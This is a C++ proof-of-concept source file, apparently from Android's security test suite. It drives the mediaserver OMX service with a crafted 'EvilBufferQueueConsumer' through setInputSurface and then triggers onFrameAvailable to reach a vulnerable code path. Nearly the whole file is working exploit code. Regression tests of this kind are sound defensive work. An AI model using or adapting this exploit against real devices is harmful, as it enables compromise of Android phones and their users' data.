blob: 9d995e55779f49f208b274bbcd77f64045249632 [file] [log] [blame]
/**
* Copyright (C) 2018 The Android Open Source Project
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <jni.h>
#include <binder/IServiceManager.h>
#include <utils/String8.h>
#include <utils/NativeHandle.h>
#include <media/IMediaPlayerService.h>
#include <media/IOMX.h>
#include <media/stagefright/foundation/ADebug.h>
#include <OMX_Component.h>
#include <ui/Rect.h>
#include <ui/GraphicBuffer.h>
#include <gui/IGraphicBufferAlloc.h>
#include <gui/IGraphicBufferProducer.h>
#include <gui/Surface.h>
#include <gui/ISurfaceComposer.h>
#include <gui/SurfaceComposerClient.h>
#include <gui/BufferQueue.h>
#include <gui/BufferQueueProducer.h>
#include <gui/GLConsumer.h>
#include "poc_BufferQueueConsumer.h"
#include "poc_FrameTimestamps.h"
#include "poc_BufferQueueCore.h"
using namespace android;
template <class T>
static void InitOMXParams(T* params) {
params->nSize = sizeof(T);
params->nVersion.s.nVersionMajor = 1;
params->nVersion.s.nVersionMinor = 0;
params->nVersion.s.nRevision = 0;
params->nVersion.s.nStep = 0;
}
struct DummyOMXObserver : public BnOMXObserver {
public:
DummyOMXObserver() {}
virtual void onMessages(const std::list<omx_message>& messages __unused) {}
protected:
virtual ~DummyOMXObserver() {}
};
enum {
ON_FRAME_AVAILABLE = IBinder::FIRST_CALL_TRANSACTION,
ON_BUFFER_RELEASED,
ON_SIDEBAND_STREAM_CHANGED,
GET_FRAME_TIMESTAMPS
};
class MyBpConsumerListener : public BpInterface<IConsumerListener> {
public:
MyBpConsumerListener(const sp<IBinder>& impl)
: BpInterface<IConsumerListener>(impl) {}
virtual ~MyBpConsumerListener();
virtual void onFrameAvailable(const BufferItem& item) {
Parcel data, reply;
data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
data.write(item);
}
virtual void onBuffersReleased() {
Parcel data, reply;
data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
remote()->transact(ON_BUFFER_RELEASED, data, &reply, IBinder::FLAG_ONEWAY);
}
virtual void onSidebandStreamChanged() {
Parcel data, reply;
data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
remote()->transact(ON_SIDEBAND_STREAM_CHANGED, data, &reply,
IBinder::FLAG_ONEWAY);
}
virtual bool getFrameTimestamps(uint64_t frameNumber,
FrameTimestamps* outTimestamps) const {
Parcel data, reply;
status_t result =
data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor());
if (result != NO_ERROR) {
return false;
}
result = data.writeUint64(frameNumber);
if (result != NO_ERROR) {
return false;
}
result = remote()->transact(GET_FRAME_TIMESTAMPS, data, &reply);
if (result != NO_ERROR) {
return false;
}
bool found = false;
result = reply.readBool(&found);
if (result != NO_ERROR) {
return false;
}
if (found) {
result = reply.read(*outTimestamps);
if (result != NO_ERROR) {
return false;
}
}
return found;
}
};
MyBpConsumerListener::~MyBpConsumerListener() {}
sp<BufferQueueCore> core;
sp<IGraphicBufferProducer> producer;
sp<IGraphicBufferConsumer> consumer;
void createBufferQueue(sp<IGraphicBufferProducer>* outProducer,
sp<IGraphicBufferConsumer>* outConsumer) {
core = new BufferQueueCore(NULL);
sp<IGraphicBufferProducer> producer(new BufferQueueProducer(core));
sp<IGraphicBufferConsumer> consumer(new EvilBufferQueueConsumer(core));
*outProducer = producer;
*outConsumer = consumer;
}
int main() {
createBufferQueue(&producer, &consumer);
sp<IServiceManager> sm = defaultServiceManager();
sp<IBinder> binder = sm->getService(String16("media.player"));
sp<IMediaPlayerService> mediaPlayerService =
interface_cast<IMediaPlayerService>(binder);
if (mediaPlayerService == NULL) {
return 0;
}
sp<IOMX> service = mediaPlayerService->getOMX();
if (service == NULL) {
return 0;
}
IOMX::node_id node = 0;
int port_index = 0;
sp<DummyOMXObserver> observer = new DummyOMXObserver();
std::string str = "OMX.google.vp8.encoder";
const char* name = str.c_str();
status_t err = service->allocateNode(name, observer, NULL, &node);
if (err != OK) {
return 0;
}
MetadataBufferType type = kMetadataBufferTypeInvalid;
service->setInputSurface(node, port_index, consumer, &type);
bool t = true;
service->setInternalOption(node, port_index, IOMX::INTERNAL_OPTION_SUSPEND, &t, sizeof(t));
BufferItem item;
static_cast<MyBpConsumerListener>(
IInterface::asBinder(core->mConsumerListener))
.onFrameAvailable(item);
return 0;
}